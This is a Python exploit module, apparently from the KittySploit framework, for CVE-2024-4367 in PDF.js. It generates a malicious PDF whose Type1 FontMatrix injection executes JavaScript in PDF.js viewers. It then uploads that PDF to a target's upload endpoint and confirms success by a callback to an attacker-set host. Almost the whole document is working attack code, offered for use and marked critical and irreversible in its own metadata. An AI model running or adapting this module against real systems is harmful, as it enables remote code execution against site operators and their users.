PDF.js CVE-2024-4367 FontMatrix RCE delivery

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PDF.js CVE-2024-4367 FontMatrix JavaScript execution via PDF upload."""

from __future__ import annotations

import os
import tempfile

from kittysploit import *
from lib.exploit.handler import Handler
from lib.pdf.generators.viewer_cve import write_pdfjs_fontmatrix
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "PDF.js CVE-2024-4367 FontMatrix RCE delivery",
        "description": (
            "CVE-2024-4367: Type1 FontMatrix injection runs JavaScript in PDF.js "
            "viewers; upload malicious PDF and callback to LHOST for confirmation."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2024-4367"],
        "platform": Platform.MULTI,
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2024-4367",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["pdfjs", "pdf", "javascript", "rce", "cve-2024-4367"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce"],
            "chain": {
                "suggested_followups": [
                    "scanner/http/pdfjs_cve_2024_4367_detect",
                    "auxiliary/misc/pdf_cve/pdf_cve_2024_4367_pdfjs_fontmatrix",
                ],
            },
        },
    }

    upload_path = OptString("/upload", "PDF upload/render endpoint", required=True)
    callback_host = OptString("", "Host embedded in FontMatrix fetch (LHOST)", required=True)

    def execute(self, _cmd: str = "") -> str:
        host = str(self.callback_host or getattr(self, "lhost", "") or "").strip()
        if not host:
            raise RuntimeError("Set callback_host or lhost")
        with tempfile.TemporaryDirectory() as tmp:
            pdf_path = os.path.join(tmp, "poc.pdf")
            write_pdfjs_fontmatrix(pdf_path, host)
            with open(pdf_path, "rb") as fh:
                data = fh.read()
        resp = self.http_request(
            "POST",
            str(self.upload_path or "/upload"),
            files={"file": ("poc.pdf", data, "application/pdf")},
        )
        return (resp.text or "")[:1000] if resp else ""

    def run(self):
        print_status("CVE-2024-4367 — PDF.js FontMatrix PDF upload")
        try:
            msg = self.execute("")
        except RuntimeError as exc:
            print_error(str(exc))
            return False
        if msg:
            print_info(msg)
        print_info("Confirm callback HTTP hit on callback_host")
        return self.handler_execute(
            additional_data={"callback_host": str(self.callback_host or "")},
        )